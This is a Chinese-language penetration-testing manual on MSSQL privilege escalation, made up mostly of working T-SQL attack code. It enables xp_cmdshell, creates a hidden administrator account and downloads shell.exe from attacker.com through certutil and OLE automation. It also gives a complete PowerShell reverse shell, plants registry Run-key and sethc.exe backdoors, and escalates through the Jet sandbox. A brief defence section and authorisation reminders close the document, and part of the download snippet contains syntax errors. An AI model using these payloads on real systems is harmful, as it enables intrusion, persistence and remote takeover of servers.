MSSQL数据库渗透测试及漏洞复现
字数 777 2025-08-09 18:44:06
MSSQL数据库渗透测试及漏洞复现技术手册
一、MSSQL提权技术概述
MSSQL数据库提供了多种系统存储过程和扩展存储过程,这些功能在渗透测试中常被用于提权和获取系统shell。主要技术包括:
- xp_cmdshell - 执行系统命令
- xp_regwrite/xp_regread - 注册表读写操作
- sp_oacreate/sp_oamethod - OLE自动化过程执行命令
- 沙盒提权技术
二、xp_cmdshell利用详解
1. 启用xp_cmdshell
默认情况下xp_cmdshell是禁用的,需要先启用:
-- 方法1:直接启用
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 方法2:如果权限不足,尝试使用以下语句
EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';
2. 基本命令执行
-- 执行系统命令
EXEC master..xp_cmdshell 'whoami';
-- 获取系统信息
EXEC master..xp_cmdshell 'systeminfo';
-- 创建用户
EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';
3. 文件操作
-- 写入文件
EXEC master..xp_cmdshell 'echo test > C:\test.txt';
-- 读取文件
EXEC master..xp_cmdshell 'type C:\windows\win.ini';
-- 下载文件
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe';
4. 反弹shell
-- 使用powershell反弹
EXEC master..xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker_ip'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';
三、注册表操作技术
1. xp_regwrite利用
-- 检查注册表键值是否存在
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName';
-- 写入注册表键值
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor', 'REG_SZ', 'C:\shell.exe';
-- 映像劫持示例
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger', 'REG_SZ', 'C:\Windows\System32\cmd.exe';
2. xp_regdeletekey/xp_regdeletevalue
-- 删除注册表键值
EXEC xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor';
-- 删除注册表键
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\TestKey';
四、OLE自动化过程利用
1. sp_oacreate/sp_oamethod基础
-- 启用OLE自动化
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- 执行命令(无回显)
DECLARE @shell INT;
EXEC sp_oacreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';
2. 文件下载实现
-- 使用MSXML2.XMLHTTP下载文件
DECLARE @o INT, @hr INT, @url VARCHAR(255), @file VARCHAR(255);
SET @url = 'http://attacker.com/shell.exe';
SET @file = 'C:\shell.exe';
EXEC @hr = sp_oacreate 'MSXML2.XMLHTTP', @o OUT;
IF @hr <> 0 BEGIN
EXEC sp_oageterrorinfo @o;
RETURN;
END
EXEC @hr = sp_oamethod @o, 'open', NULL, 'GET', @url, 'false';
EXEC @hr = sp_oamethod @o, 'send';
EXEC @hr = sp_oamethod @o, 'responseBody', @responseBody OUT;
DECLARE @fs INT, @fileStream INT;
EXEC @hr = sp_oacreate 'ADODB.Stream', @fs OUT;
EXEC @hr = sp_oamethod @fs, 'Open');
EXEC @hr = sp_oamethod @fs, 'Write', NULL, @responseBody;
EXEC @hr = sp_oamethod @fs, 'SaveToFile', NULL, @file, 2;
EXEC @hr = sp_oamethod @fs, 'Close');
EXEC @hr = sp_oadestroy @fs;
EXEC @hr = sp_oadestroy @o;
五、沙盒提权技术
1. 沙盒模式提权条件
- 需要数据库管理员权限
- 需要启用Ad Hoc Distributed Queries
- 目标系统安装了Jet.OLEDB驱动
2. 实施步骤
-- 启用Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
-- 修改注册表设置沙盒模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 执行系统命令
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',';Database=ias\ias.mdb','shell("cmd.exe /c whoami > C:\output.txt")');
六、防御措施
1. 禁用危险存储过程
-- 禁用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- 禁用OLE自动化
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
2. 权限最小化原则
- 避免使用sa账户运行应用程序
- 为应用程序分配最小必要权限
- 定期审计数据库账户权限
3. 其他安全措施
- 启用SQL Server审计功能
- 定期更新SQL Server补丁
- 限制网络访问,仅允许必要IP连接
七、渗透测试注意事项
- 测试前确保获得合法授权
- 避免使用破坏性命令(如删除文件、格式化等)
- 测试完成后恢复所有修改
- 记录详细的操作步骤和结果
- 提供完整的安全评估报告
本手册详细介绍了MSSQL数据库渗透测试中的常见提权技术,实际应用中需要根据目标环境灵活组合使用这些方法。